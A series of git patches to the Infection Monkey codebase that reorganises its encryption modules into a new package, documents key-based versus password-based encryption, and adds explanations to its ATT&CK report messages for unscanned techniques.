monkey/monkey_island/cc/server_setup.py | 4 +++- .../cc/server_utils/encryption/__init__.py | 0 .../data_store_encryptor.py} | 10 +++++----- .../utils => server_utils/encryption}/i_encryptor.py | 0 .../encryption/key_based_encryptor.py} | 2 +- .../encryption/password_based_encryption.py} | 2 +- .../attack/technique_reports/technique_report_tools.py | 2 +- monkey/monkey_island/cc/services/config.py | 2 +- .../cc/services/telemetry/processing/exploit.py | 2 +- .../cc/services/telemetry/processing/system_info.py | 2 +- .../zero_trust/scoutsuite/scoutsuite_auth_service.py | 2 +- monkey/tests/unit_tests/monkey_island/cc/conftest.py | 2 +- .../field_encryptors/test_string_list_encryptor.py | 2 +- .../cc/resources/test_configuration_import.py | 8 ++++++-- .../test_data_store_encryptor.py} | 5 ++++- .../encryption/test_password_based_encryption.py} | 2 +- .../scoutsuite/test_scoutsuite_auth_service.py | 5 ++++- 20 files changed, 38 insertions(+), 24 deletions(-) create mode 100644 monkey/monkey_island/cc/server_utils/encryption/__init__.py rename monkey/monkey_island/cc/server_utils/{key_encryptor.py => encryption/data_store_encryptor.py} (81%) rename monkey/monkey_island/cc/{services/utils => server_utils/encryption}/i_encryptor.py (100%) rename monkey/monkey_island/cc/{services/utils/key_encryption.py => server_utils/encryption/key_based_encryptor.py} (94%) rename monkey/monkey_island/cc/{services/utils/password_encryption.py => server_utils/encryption/password_based_encryption.py} (96%) rename monkey/tests/unit_tests/monkey_island/cc/server_utils/{test_key_encryptor.py => encryption/test_data_store_encryptor.py} (86%) rename monkey/tests/unit_tests/monkey_island/cc/{services/utils/test_encryption.py => server_utils/encryption/test_password_based_encryption.py} (94%) diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py index 91464c1fa..8cde30af0 100644 --- a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py @@ -1,7 +1,7 @@ from typing import List from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor -from monkey_island.cc.server_utils.key_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor class StringListEncryptor(IFieldEncryptor): diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py index c9565011b..089e9c813 100644 --- a/monkey/monkey_island/cc/resources/configuration_export.py +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -4,8 +4,10 @@ import flask_restful from flask import request from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.server_utils.encryption.password_based_encryption import ( + PasswordBasedEncryptor, +) from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.utils.password_encryption import PasswordBasedEncryptor class ConfigurationExport(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index 99b43f3ba..c4b64a363 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -8,13 +8,13 @@ from flask import request from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.utils.password_encryption import ( +from monkey_island.cc.server_utils.encryption.password_based_encryption import ( InvalidCiphertextError, InvalidCredentialsError, PasswordBasedEncryptor, is_encrypted, ) +from monkey_island.cc.services.config import ConfigService logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 5ed167126..e5d4dc47e 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -27,8 +27,10 @@ from monkey_island.cc.server_utils.consts import ( # noqa: E402 GEVENT_EXCEPTION_LOG, MONGO_CONNECTION_TIMEOUT, ) +from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( # noqa: E402 + initialize_encryptor, +) from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402 -from monkey_island.cc.server_utils.key_encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/server_utils/key_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py similarity index 81% rename from monkey/monkey_island/cc/server_utils/key_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index e41cf56f4..bdcfb97d4 100644 --- a/monkey/monkey_island/cc/server_utils/key_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -4,8 +4,8 @@ import os # is maintained. from Crypto import Random # noqa: DUO133 # nosec: B413 +from monkey_island.cc.server_utils.encryption.key_based_encryptor import KeyBasedEncryptor from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file -from monkey_island.cc.services.utils.key_encryption import KeyBasedEncryptor _encryptor = None @@ -22,6 +22,8 @@ class DataStoreEncryptor: else: self._init_key(password_file) + self._key_base_encryptor = KeyBasedEncryptor(self._cipher_key) + def _init_key(self, password_file_path: str): self._cipher_key = Random.new().read(self._BLOCK_SIZE) with open_new_securely_permissioned_file(password_file_path, "wb") as f: @@ -32,12 +34,10 @@ class DataStoreEncryptor: self._cipher_key = f.read() def enc(self, message: str): - key_encryptor = KeyBasedEncryptor(self._cipher_key) - return key_encryptor.encrypt(message) + return self._key_base_encryptor.encrypt(message) def dec(self, enc_message: str): - key_encryptor = KeyBasedEncryptor(self._cipher_key) - return key_encryptor.decrypt(enc_message) + return self._key_base_encryptor.decrypt(enc_message) def initialize_encryptor(password_file_dir): diff --git a/monkey/monkey_island/cc/services/utils/i_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/i_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/services/utils/i_encryptor.py rename to monkey/monkey_island/cc/server_utils/encryption/i_encryptor.py diff --git a/monkey/monkey_island/cc/services/utils/key_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py similarity index 94% rename from monkey/monkey_island/cc/services/utils/key_encryption.py rename to monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py index cb8366da8..49f67a34b 100644 --- a/monkey/monkey_island/cc/services/utils/key_encryption.py +++ b/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py @@ -6,7 +6,7 @@ import logging from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 -from monkey_island.cc.services.utils.i_encryptor import IEncryptor +from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/utils/password_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py similarity index 96% rename from monkey/monkey_island/cc/services/utils/password_encryption.py rename to monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py index 1854722e8..da4736e16 100644 --- a/monkey/monkey_island/cc/services/utils/password_encryption.py +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py @@ -4,7 +4,7 @@ import logging import pyAesCrypt -from monkey_island.cc.services.utils.i_encryptor import IEncryptor +from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 6a431f35a..88243de5d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -1,4 +1,4 @@ -from monkey_island.cc.server_utils.key_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor def parse_creds(attempt): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 26e3ab971..7f69928c0 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -19,7 +19,7 @@ from common.config_value_paths import ( USER_LIST_PATH, ) from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.key_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor from monkey_island.cc.services.config_manipulator import update_config_per_mode from monkey_island.cc.services.config_schema.config_schema import SCHEMA from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 0a0ccce15..246176a8d 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -3,7 +3,7 @@ import copy import dateutil from monkey_island.cc.models import Monkey -from monkey_island.cc.server_utils.key_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 1bcc61ecd..3cc1dc560 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,6 +1,6 @@ import logging -from monkey_island.cc.server_utils.key_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index 0d423bd6a..3ac6a7861 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -5,7 +5,7 @@ from ScoutSuite.providers.base.authentication_strategy import AuthenticationExce from common.cloud.scoutsuite_consts import CloudProviders from common.config_value_paths import AWS_KEYS_PATH from common.utils.exceptions import InvalidAWSKeys -from monkey_island.cc.server_utils.key_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor from monkey_island.cc.services.config import ConfigService diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index c14524411..438ee3fef 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -5,7 +5,7 @@ import os import pytest from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 -from tests.unit_tests.monkey_island.cc.services.utils.test_encryption import ( +from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_based_encryption import ( # noqa: E501 MONKEY_CONFIGS_DIR_PATH, STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py index fe8af8e0d..1428a0009 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -1,7 +1,7 @@ import pytest from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor -from monkey_island.cc.server_utils.key_encryptor import initialize_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import initialize_encryptor MOCK_STRING_LIST = ["test_1", "test_2"] EMPTY_LIST = [] diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py index 45ef8daaf..ac72f01c2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py @@ -1,12 +1,16 @@ import pytest +from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_based_encryption import ( # noqa: E501 + PASSWORD, +) from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption_test import ( MALFORMED_CIPHER_TEXT_CORRUPTED, ) -from tests.unit_tests.monkey_island.cc.services.utils.test_encryption import PASSWORD from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.configuration_import import ConfigurationImport -from monkey_island.cc.services.utils.password_encryption import PasswordBasedEncryptor +from monkey_island.cc.server_utils.encryption.password_based_encryption import ( + PasswordBasedEncryptor, +) def test_is_config_encrypted__json(monkey_config_json): diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_key_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py similarity index 86% rename from monkey/tests/unit_tests/monkey_island/cc/server_utils/test_key_encryptor.py rename to monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index f7097ec00..e3dbd8afa 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_key_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -1,6 +1,9 @@ import os -from monkey_island.cc.server_utils.key_encryptor import get_encryptor, initialize_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( + get_encryptor, + initialize_encryptor, +) PASSWORD_FILENAME = "mongo_key.bin" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py similarity index 94% rename from monkey/tests/unit_tests/monkey_island/cc/services/utils/test_encryption.py rename to monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py index 029e8201f..cb3756e40 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py @@ -4,7 +4,7 @@ from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption VALID_CIPHER_TEXT, ) -from monkey_island.cc.services.utils.password_encryption import ( +from monkey_island.cc.server_utils.encryption.password_based_encryption import ( InvalidCredentialsError, PasswordBasedEncryptor, ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index af47d51b5..12809dfa8 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -5,7 +5,10 @@ import pytest from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.database import mongo -from monkey_island.cc.server_utils.key_encryptor import get_encryptor, initialize_encryptor +from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( + get_encryptor, + initialize_encryptor, +) from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import ( is_aws_keys_setup, From 1b91616778c971c87a7029b89bf256edd6a6feba Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Sep 2021 12:44:05 +0200 Subject: [PATCH 204/454] Island: Add explanation for KBE and PBE KeyBasedEncryptor and PasswordBasedEncryptor --- .../encryption/data_store_encryptor.py | 20 +++++++++---------- .../encryption/key_based_encryptor.py | 8 ++++++++ .../encryption/password_based_encryption.py | 8 ++++++++ 3 files changed, 26 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index bdcfb97d4..f2b989816 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -12,15 +12,15 @@ _encryptor = None class DataStoreEncryptor: _BLOCK_SIZE = 32 - _PASSWORD_FILENAME = "mongo_key.bin" + _KEY_FILENAME = "mongo_key.bin" - def __init__(self, password_file_dir): - password_file = os.path.join(password_file_dir, self._PASSWORD_FILENAME) + def __init__(self, key_file_dir): + key_file = os.path.join(key_file_dir, self._KEY_FILENAME) - if os.path.exists(password_file): - self._load_existing_key(password_file) + if os.path.exists(key_file): + self._load_existing_key(key_file) else: - self._init_key(password_file) + self._init_key(key_file) self._key_base_encryptor = KeyBasedEncryptor(self._cipher_key) @@ -29,8 +29,8 @@ class DataStoreEncryptor: with open_new_securely_permissioned_file(password_file_path, "wb") as f: f.write(self._cipher_key) - def _load_existing_key(self, password_file): - with open(password_file, "rb") as f: + def _load_existing_key(self, key_file): + with open(key_file, "rb") as f: self._cipher_key = f.read() def enc(self, message: str): @@ -40,10 +40,10 @@ class DataStoreEncryptor: return self._key_base_encryptor.decrypt(enc_message) -def initialize_encryptor(password_file_dir): +def initialize_encryptor(key_file_dir): global _encryptor - _encryptor = DataStoreEncryptor(password_file_dir) + _encryptor = DataStoreEncryptor(key_file_dir) def get_encryptor(): diff --git a/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py index 49f67a34b..0331c7e70 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py @@ -10,6 +10,14 @@ from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor logger = logging.getLogger(__name__) +# KBE is an encryption method which use random key of specific length +# and AES block cipher to encrypt/decrypt the data. The key is more complex +# one and hard to remember than user provided one. This class provides more secure way of +# encryption compared to PBE because of the random and complex key. +# We can merge the two into the one encryption method but then we lose the entropy +# of the key with whatever key derivation function we use. +# Note: password != key + class KeyBasedEncryptor(IEncryptor): diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py index da4736e16..d699c4e5a 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py @@ -8,6 +8,14 @@ from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor logger = logging.getLogger(__name__) +# PBE as implemented takes low-entropy, user provided password and it adds some +# entropy to it and encrypts/decrypts the data. This implementation uses AES256-CBC +# and it is less secure encryption then KeyBasedEncryptor. +# The security of it depends on what will the user provide as password. +# We can merge the two into the one encryption method but then we lose the entropy +# of the key with whatever key derivation function we use. +# Note: password != key + class PasswordBasedEncryptor(IEncryptor): From 2cc00205f1163f9582f5278f8fc585a9b5a2d91c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 23 Sep 2021 16:39:05 +0530 Subject: [PATCH 205/454] island: Modify ATT&CK report messages to mention reasons 1. not run on relevant system 2. relevant config options were disabled --- .../attack/technique_reports/__init__.py | 38 +++++++++++++++++-- .../config_schema_per_attack_technique.py | 3 ++ 2 files changed, 37 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 07491fbfc..88187c410 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -7,6 +7,9 @@ from common.utils.code_utils import abstractstatic from monkey_island.cc.database import mongo from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations from monkey_island.cc.services.attack.attack_config import AttackConfig +from monkey_island.cc.services.config_schema.config_schema_per_attack_technique import ( + CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE, +) logger = logging.getLogger(__name__) @@ -115,16 +118,43 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): if status == ScanStatus.DISABLED.value: return disabled_msg if status == ScanStatus.UNSCANNED.value: - unscanned_msg = AttackTechnique._get_unscanned_msg_with_reasons(cls.unscanned_msg) + unscanned_msg = cls._get_unscanned_msg_with_reasons(cls.unscanned_msg) return unscanned_msg elif status == ScanStatus.SCANNED.value: return cls.scanned_msg else: return cls.used_msg - @staticmethod - def _get_unscanned_msg_with_reasons(unscanned_msg): - ... + @classmethod + def _get_unscanned_msg_with_reasons(cls, unscanned_msg): + reasons = [] + if len(cls.relevant_systems) == 1: + reasons.append(f"- The Monkey did not run on any {cls.relevant_systems[0]} systems.") + if cls.tech_id in CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE: + reasons.append( + "- The following configuration options were disabled:
    " + f"{cls._get_relevant_config_values()}" + ) + + if reasons: + unscanned_msg = ( + unscanned_msg.strip(".") + + " due to one of the following reasons:\n" + + "\n".join(reasons) + ) + + return unscanned_msg + + @classmethod + def _get_relevant_config_values(cls): + config_options = "" + for config_type in CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE[cls.tech_id]: + config_options += ( + f"- {config_type} — " + f"{', '.join(CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE[cls.tech_id][config_type])}
    " + ) + + return config_options @classmethod def technique_title(cls): diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index b97a1bf3e..bcaa5a2af 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -42,3 +42,6 @@ def _add_config_field_to_reverse_schema( technique[definition_type] = [config_field] else: reverse_schema[attack_technique] = {definition_type: [config_field]} + + +CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE = get_config_schema_per_attack_technique() From 071a4eb1a7de7ae40601c0c6d5ac8faa7e59b381 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Sep 2021 17:52:15 +0200 Subject: [PATCH 206/454] Island: Add IEncryptor to __init__ Dnt abbrev in PassworBasedEncryptor and KeyBasedEncryptor Add comment for review and evaluate the padding function --- .../monkey_island/cc/server_utils/encryption/__init__.py | 1 + .../cc/server_utils/encryption/key_based_encryptor.py | 7 ++++--- .../server_utils/encryption/password_based_encryption.py | 4 ++-- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index e69de29bb..d15968ca7 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -0,0 +1 @@ +from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor # noqa: F401 diff --git a/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py index 0331c7e70..b5fe92d96 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/key_based_encryptor.py @@ -6,14 +6,14 @@ import logging from Crypto import Random # noqa: DUO133 # nosec: B413 from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 -from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor +from monkey_island.cc.server_utils.encryption import IEncryptor logger = logging.getLogger(__name__) -# KBE is an encryption method which use random key of specific length +# KeyBasedEncryptor is an encryption method which use random key of specific length # and AES block cipher to encrypt/decrypt the data. The key is more complex # one and hard to remember than user provided one. This class provides more secure way of -# encryption compared to PBE because of the random and complex key. +# encryption compared to PasswordBasedEncryptor because of the random and complex key. # We can merge the two into the one encryption method but then we lose the entropy # of the key with whatever key derivation function we use. # Note: password != key @@ -37,6 +37,7 @@ class KeyBasedEncryptor(IEncryptor): cipher = AES.new(self._key, AES.MODE_CBC, cipher_iv) return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode()) + # TODO: Review and evaluate the security of the padding function def _pad(self, message): return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr( self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE) diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py index d699c4e5a..20708ce31 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_encryption.py @@ -4,11 +4,11 @@ import logging import pyAesCrypt -from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor +from monkey_island.cc.server_utils.encryption import IEncryptor logger = logging.getLogger(__name__) -# PBE as implemented takes low-entropy, user provided password and it adds some +# PasswordBasedEncryptor as implemented takes low-entropy, user provided password and it adds some # entropy to it and encrypts/decrypts the data. This implementation uses AES256-CBC # and it is less secure encryption then KeyBasedEncryptor. # The security of it depends on what will the user provide as password. From e0779347b2862e0d8f6c18da98f91142beaa6a81 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Sep 2021 18:42:40 +0200 Subject: [PATCH 207/454] Island: Add all imports from encryption to __init__ Now the imports are shorter by one directory. Check the __init__ in encryption. --- .flake8 | 1 + .../field_encryptors/string_list_encryptor.py | 2 +- .../cc/resources/configuration_export.py | 4 +--- .../cc/resources/configuration_import.py | 2 +- monkey/monkey_island/cc/server_setup.py | 4 +--- .../cc/server_utils/encryption/__init__.py | 14 +++++++++++++- .../encryption/data_store_encryptor.py | 2 +- .../technique_reports/technique_report_tools.py | 2 +- monkey/monkey_island/cc/services/config.py | 2 +- .../cc/services/telemetry/processing/exploit.py | 2 +- .../services/telemetry/processing/system_info.py | 2 +- .../scoutsuite/scoutsuite_auth_service.py | 2 +- .../field_encryptors/test_string_list_encryptor.py | 2 +- .../cc/resources/test_configuration_import.py | 4 +--- .../encryption/test_data_store_encryptor.py | 5 +---- .../encryption/test_password_based_encryption.py | 5 +---- .../scoutsuite/test_scoutsuite_auth_service.py | 5 +---- pyproject.toml | 1 + 18 files changed, 30 insertions(+), 31 deletions(-) diff --git a/.flake8 b/.flake8 index 97d903b8f..213c030a2 100644 --- a/.flake8 +++ b/.flake8 @@ -5,6 +5,7 @@ exclude = monkey/monkey_island/cc/ui,vulture_allowlist.py show-source = True max-complexity = 10 max-line-length = 100 +per-file-ignores = __init__.py:F401 ### ignore "whitespace before ':'", "line break before binary operator" for ### compatibility with black, and cyclomatic complexity (for now). diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py index 8cde30af0..ab9b6a3e5 100644 --- a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py @@ -1,7 +1,7 @@ from typing import List from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor -from monkey_island.cc.server_utils.encryption.data_store_encryptor import get_encryptor +from monkey_island.cc.server_utils.encryption import get_encryptor class StringListEncryptor(IFieldEncryptor): diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py index 089e9c813..c550acc7d 100644 --- a/monkey/monkey_island/cc/resources/configuration_export.py +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -4,9 +4,7 @@ import flask_restful from flask import request from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.server_utils.encryption.password_based_encryption import ( - PasswordBasedEncryptor, -) +from monkey_island.cc.server_utils.encryption import PasswordBasedEncryptor from monkey_island.cc.services.config import ConfigService diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index c4b64a363..6c0575e94 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -8,7 +8,7 @@ from flask import request from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.server_utils.encryption.password_based_encryption import ( +from monkey_island.cc.server_utils.encryption import ( InvalidCiphertextError, InvalidCredentialsError, PasswordBasedEncryptor, diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index e5d4dc47e..7d8bf2d9f 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -27,9 +27,7 @@ from monkey_island.cc.server_utils.consts import ( # noqa: E402 GEVENT_EXCEPTION_LOG, MONGO_CONNECTION_TIMEOUT, ) -from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( # noqa: E402 - initialize_encryptor, -) +from monkey_island.cc.server_utils.encryption import initialize_encryptor # noqa: E402 from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 